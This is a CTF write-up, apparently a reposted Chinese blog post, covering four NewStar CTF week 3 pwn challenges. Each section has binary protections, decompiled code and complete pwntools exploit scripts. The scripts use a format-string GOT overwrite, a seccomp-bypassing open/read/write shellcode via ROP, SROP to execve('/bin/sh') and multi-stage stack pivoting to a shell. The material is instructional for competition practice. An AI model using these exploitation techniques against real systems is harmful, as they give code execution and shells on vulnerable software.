newstar week3 pwn

newstar week3 pwn

巩固知识,如有错误记得纠正,感谢师傅们的评阅

puts or system?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+Ch] [rbp-34h] BYREFchar buf[40]; // [rsp+10h] [rbp-30h] BYREFunsigned __int64 v6; // [rsp+38h] [rbp-8h]v6 = __readfsqword(0x28u);init(argc, argv, envp);puts("Welcome to NewStar CTF!!");while ( 1 ){puts("Give me some gift?(0/1)");__isoc99_scanf("%d", &v4);if ( v4 != 1 )break;puts("What's it");read(0, buf, 0x100uLL);puts("Oh thanks,There is my gift:");printf(buf);puts("/bin/sh");}return 0;
}

无限循环的格式化字符串

思路

改puts为system即可

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27036,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')#8
sla(b'gift',b'1')
sla(b'it',b'%15$p')
#格式化字符串泄露libc
leak=get_addr_int()-libc.sym['__libc_start_main']+0x30
li(leak)
sys=system(leak)
pl=fmtstr_payload(8,{elf.got['puts']:sys})
#格式化字符串改got表
sla(b'gift',b'1')
sla(b'it',pl)
#debug()
ia()

orw&rop

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[40]; // [rsp+0h] [rbp-30h] BYREFunsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);init(argc, argv, envp);sandbox();mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);puts("Try to escape the sandbox");read(0, buf, 0x20uLL);printf(buf);puts("I think you can get flag now");read(0, buf, 0x100uLL);return 0;
}

给我们开辟了一个权限为7的空间,就是让我们写shellcode到这里

 line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 00070002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 00070005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 00070006: 0x06 0x00 0x00 0x7fff0000  return ALLOW0007: 0x06 0x00 0x00 0x00000000  return KILL

有沙盒,写orw
在这里插入图片描述

发现栈里没啥libc,我们写一个libc进去

在这里插入图片描述

泄露得到libc基址和canary

思路

栈溢出写read函数,并且read的内容写在开辟的空间内,然后返回开辟的空间

直接看wp,里面有详细注释

from pwn import*
from Yapack import *
libc=ELF('./libc.so.6')
r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')
#debug('b *0x40136E') #11 6
#6是我们写入的位置,泄露8是因为我们写入puts@got经过我们的对齐,现在在8号位置
#11是canary的位置
pl=b'%8$s.%11$p'+b'\x00'*6+p64(elf.got['puts'])
sla(b'sandbox',pl)
leak=get_addr_u64()-libc.sym['puts']
li(leak)
ru('.0x')
can=int(r.recv(16),16)
li(can)#ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'
#搜到就加上libc基址就可以了
retn=0x0000000000029cd6+leak
rdi=0x000000000002a3e5+leak
rsi=0x000000000002be51+leak
rdx_r12=0x000000000011f497+leak
read=leak+libc.sym['read']pl=cyclic(0x28)+p64(can)+p64(0)
#栈溢出
pl+=flat(rdi,0,rsi,0x66660000,rdx_r12,0x200,0,read)
#写read(0,0x66660000,0x200)
pl+=flat(0x66660000,retn)
#返回执行0x66660000
sla(b'get flag now',pl)#orw
sc=shellcraft.open('./flag')
sc+=shellcraft.read(3,0x66660000+0x200,0x100)
sc+=shellcraft.write(1,0x66660000+0x200,0x100)#sleep(0.3)
sl(asm(sc))
#debug()ia()

srop

.text:0000000000401145                               var_30= byte ptr -30h
.text:0000000000401145
.text:0000000000401145                               ; __unwind {
.text:0000000000401145 F3 0F 1E FA                   endbr64
.text:0000000000401149 55                            push    rbp
.text:000000000040114A 48 89 E5                      mov     rbp, rsp
.text:000000000040114D 48 83 EC 30                   sub     rsp, 30h
.text:0000000000401151 B9 30 00 00 00                mov     ecx, 30h ; '0'
.text:0000000000401156 48 8D 15 C3 2E 00 00          lea     rdx, buf                        ; "welcome to srop!\n"
.text:000000000040115D BE 01 00 00 00                mov     esi, 1
.text:0000000000401162 BF 01 00 00 00                mov     edi, 1                          ; sysno
.text:0000000000401167 B8 00 00 00 00                mov     eax, 0
.text:000000000040116C E8 CF FE FF FF                call    _syscall
.text:000000000040116C
.text:0000000000401171 48 8D 45 D0                   lea     rax, [rbp+var_30]
.text:0000000000401175 B9 00 03 00 00                mov     ecx, 300h
.text:000000000040117A 48 89 C2                      mov     rdx, rax
.text:000000000040117D BE 00 00 00 00                mov     esi, 0
.text:0000000000401182 BF 00 00 00 00                mov     edi, 0                          ; sysno
.text:0000000000401187 B8 00 00 00 00                mov     eax, 0
.text:000000000040118C E8 AF FE FF FF                call    _syscall
.text:000000000040118C
.text:0000000000401191 C9                            leave
.text:0000000000401192 C3                            retn
.text:0000000000401192                               ; } // starts at 401145
.text:0000000000401192
.text:0000000000401192                               main endp

直接看汇编了

提供了一次write,和一次read,并且是超大溢出的read,

一眼srop

思路

构造frame,溢出打srop,看exp有详细解释

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')rdi=0x0000000000401203
lea=0x401171
syscall=elf.sym['syscall']
bss=0x404050+0x200#目的是执行execve('/bin/sh',0,0)
#这个frame就是为了execve(bss,0,0)然后这个bss我们写个/bin/sh
fr=SigreturnFrame()
fr.rip=syscall
fr.rdi=59
fr.rsi=bss-0x30
#这里为什么要-0x30,因为这一段加了0x30
#.text:0000000000401171 48 8D 45 D0                   lea     rax, [rbp+var_30]
#就是相当于0x404050+0x200+0x30-0x30=0x404050+0x200
fr.rdx=0
fr.rcx=0
fr.rsp=bss+0x38
#这里就是设置栈顶
pl=cyclic(0x30)+flat(bss,lea)
#迁移到bss段,然后再执行一次read,并且这次read的写入的位置是0x404050+0x200sa(b'srop',pl)
sleep(0.3)
pl=b'/bin/sh\x00'+cyclic(0x30)+flat(rdi,0xf,syscall,fr)
sl(pl)
#debug()ia()

stack migration revenge

多次栈迁移

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

只开了NX 64位

int vuln()
{char buf[80]; // [rsp+0h] [rbp-50h] BYREFputs("I've seen you before!");puts("just chat with me:");read(0, buf, 0x60uLL);return puts("so funny");
}

程序非常简单,溢出只能覆盖rbp和rip

.text:00000000004011FF 48 8D 45 B0                   lea     rax, [rbp+buf]
.text:0000000000401203 BA 60 00 00 00                mov     edx, 60h ; '`'                  ; nbytes
.text:0000000000401208 48 89 C6                      mov     rsi, rax                        ; buf
.text:000000000040120B BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401210 B8 00 00 00 00                mov     eax, 0
.text:0000000000401215 E8 56 FE FF FF                call    _read
.text:0000000000401215
.text:000000000040121A 48 8D 3D 0C 0E 00 00          lea     rdi, aSoFunny                   ; "so funny"
.text:0000000000401221 E8 3A FE FF FF                call    _puts
.text:0000000000401221
.text:0000000000401226 90                            nop
.text:0000000000401227 C9                            leave
.text:0000000000401228 C3                            retn

多次利用这个段,多次使用read(0,[rbp+buf],0x60)

又因为rbp可控,用ROPgadget可以找到pop_rbp并且第一次溢出就是覆盖了rbp

思路

通过多次栈迁移在bss段写,然后泄露libc,getshell

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29182,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')bss=0x404020+0x600
leave=0x401227
lea=0x4011FF
rdi=0x00000000004012b3
rbp=0x000000000040115dpl=cyclic(0x50)+flat(bss+0x50,lea)
#栈迁移到bss段
s(pl)
pl=flat(rdi,elf.got['puts'],elf.plt['puts'])
#泄露puts@libc
pl+=flat(rbp,bss+0x50+0x100,lea)
#控制rbp,并且在此处提前布置好空间用来getshell
pl=pl.ljust(0x50, b'\x00')+flat(bss-8,leave)
s(pl)leak=get_addr_u64()-libc.sym['puts']
li(leak)
sys=system(leak)
sh=shell(leak)pl=flat(rdi,sh,sys)
#这里就是在bss+0x50+0x10写了,所以我们迁移到+0x100的地方
pl=pl.ljust(0x50, b'\x00')+flat(bss-8+0x100,leave)
s(pl)
#debug()ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/118508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uni-app:解决异步请求返回值问题

可以使用 Promise 或者回调函数来处理异步请求的返回值。 方法一&#xff1a; Promise处理异步请求的返回值 使用 Promise 可以将异步请求的结果通过 resolve 和 reject 返回&#xff0c;然后通过 .then() 方法获取成功的结果&#xff0c;通过 .catch() 方法获取错误信息。 …

鸿鹄工程项目管理系统 Spring Cloud+Spring Boot+Mybatis+Vue+ElementUI+前后端分离构建工程项目管理系统项目背景

鸿鹄工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离构建工程项目管理系统 1. 项目背景 一、随着公司的快速发展&#xff0c;企业人员和经营规模不断壮大。为了提高工程管理效率、减轻劳动强度、提高信息处理速度和准确性&#xff0c;公司对内部工程管…

统计文本词频的几种方法(Python)

目录 1. 单句的词频统计 2. 文章的词频统计 方法一&#xff1a;运用集合去重方法 方法二&#xff1a;运用字典统计 方法三&#xff1a;使用计数器 词频统计是自然语言处理的基本任务&#xff0c;针对一段句子、一篇文章或一组文章&#xff0c;统计文章中每个单词出现的次数…

40.查找练习题(王道2023数据结构第7章)

试题1&#xff08;王道7.2.4节综合练习5&#xff09;&#xff1a; 写出折半查找的递归算法。 #include<stdio.h> #include<stdlib.h> #include<string.h>#define MAXSIZE 10 #define ElemType int #define Status inttypedef struct{int data[MAXSIZE]; /…

GD32_定时器输入捕获波形频率

GD32_定时器输入捕获波形频率&#xff08;多通道轮询&#xff09; 之前项目上用到一个使用定时器捕获输入采集风扇波形频率得到风扇转速的模块&#xff0c;作为笔记简单记录以下当时的逻辑结构和遇到的问题&#xff0c;有需要参考源码、有疑问或需要提供帮助的可以留言告知 。…

Spring Event

前言 ApplicationEvent 与 ApplicationListener 应用 实现 基于注解 事件过滤 异步事件监听 好处及应用场景 源码阅读 总结 1前言 ApplicationContext 中的事件处理是通过 ApplicationEvent 类和 ApplicationListener 接口提供的。如果将实现了 ApplicationListener …

【AI视野·今日Robot 机器人论文速览 第五十八期】Thu, 19 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Thu, 19 Oct 2023 Totally 25 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers InViG: Benchmarking Interactive Visual Grounding with 500K Human-Robot Interactions Authors Hanbo Zhang, Jie Xu, Yuch…

Qt生成PDF报告

文章目录 一、示意图二、实现部分代码总结 一、示意图 二、实现部分代码 //! 生成测试报告 void MainWindow::createPdf(QString filename, _pdf_msg_& msg, const QMap<QString, int>& ok, const QMap<QString, int>& err) {//QDir dir;if(!dir.exis…

Vue快速入门

一、概述 1.是一套前端框架&#xff0c;可免除原生JavaScript中的DOM操作&#xff0c;基于MVVM思想&#xff0c;实现数据双向绑定。 实现由MVC——>MVVM的转换 二、入门 1.新建HTML页面&#xff0c;引入Vue.js文件 2.在JS代码区&#xff0c;创建Vue核心对象&#xff0c;进行…

嵌入式软件工程师面试题——2025校招专题(三)

说明&#xff1a; 面试题来源于网络书籍&#xff0c;公司题目以及博主原创或修改&#xff08;题目大部分来源于各种公司&#xff09;&#xff1b;文中很多题目&#xff0c;或许大家直接编译器写完&#xff0c;1分钟就出结果了。但在这里博主希望每一个题目&#xff0c;大家都要…

生产环境元空间内存溢出(OOM)的问题排查

一、现象 2023.10.17下午收到业务反馈&#xff0c;说是接口调用超时&#xff0c;进件系统和核心系统调用外数系统接口时等待过久&#xff0c;引起系统异常。然后我们看了下接口调用的日志&#xff0c;确实接口的响应时间在五十秒左右。我们自己测试了下&#xff0c;发现也是这…

leetcode 503. 下一个更大元素 II、42. 接雨水

下一个更大元素 II 给定一个循环数组 nums &#xff08; nums[nums.length - 1] 的下一个元素是 nums[0] &#xff09;&#xff0c;返回 nums 中每个元素的 下一个更大元素 。 数字 x 的 下一个更大的元素 是按数组遍历顺序&#xff0c;这个数字之后的第一个比它更大的数&…

【c#】2022创建WEB API接口教程demo

c#创建WEB API接口 创建WEB API接口结果图涉及到的技术设计流程创建WEB API接口 结果图 涉及到的技术 设计流程 1、创建WEB api项目,使用控制器和penapi勾选上,第一次创建项目时没有勾选,因为感觉没啥用。后面跑项目的时候,要把接口用swagger去直接生成的时候,还是需要…

自然语言处理---Transformer机制详解之BERT模型介绍

1 BERT简介 BERT是2018年10月由Google AI研究院提出的一种预训练模型. BERT的全称是Bidirectional Encoder Representation from Transformers.BERT在机器阅读理解顶级水平测试SQuAD1.1中表现出惊人的成绩&#xff1a;全部两个衡量指标上全面超越人类&#xff0c;并且在11种不…

Postman的简单使用

Postman简介 官网 Postman是Google公司开发的一款功能强大的网页调试与发送HTTP请求&#xff0c;并能运行测试用例的Chrome插件 使用Postman进行简单接口测试 新建测试 → 选择请求方式 → 请求URL&#xff0c;下面用百度作为例子&#xff1a; 参考文档 [1] Postman使用教程…

异常的处理和HTTP状态码的分类

在爬虫过程中&#xff0c;可能会遇到各种异常情况&#xff0c;如网络连接错误、网页解析错误、请求超时等。为了提高爬虫的稳定性和容错性&#xff0c;需要对这些异常进行处理。 异常处理是通过捕获和处理异常来解决程序中出现的错误情况。在爬虫中&#xff0c;常见的异常处理…

RCE 远程代码执行漏洞分析

RCE 漏洞 1.漏洞描述 Remote Command/Code Execute 远程命令执行/远程代码执行漏洞 这种漏洞通常出现在应用程序或操作系统中&#xff0c;攻击者可以通过利用漏洞注入恶意代码&#xff0c;并在受攻击的系统上执行任意命令。 2.漏洞场景 PHP 代码执行PHP 代码注入OS 命令执…

Kettle循环结果集中的数据并传入SQL组件【或转换】里面

简介&#xff1a;在尝试使用了结果集的Demo循环后&#xff0c;进入到生产还是有一点问题的&#xff0c;以下是各个组件的分解解释、遇到的问题&#xff0c;以及解决问题的思路&#xff0c;最后文章的最后会把完整的Ktr文件放出来。记得收藏点赞喔&#xff01; 先来看张图~来自…

OSPF的网络类型

1.3配置OSPF的网络类型 1.3.1实验3&#xff1a;配置P2P网络类型 实验需求 实现单区域OSPF的配置实现通过display命令查看OSPF的网络类型 实验拓扑 实验拓扑如图1-11所示 图1-11 配置P2P网络类型 实验步骤 步骤1&#xff1a;[1] 配置IP地址 路由器R1[2] 的配置 <Huawe…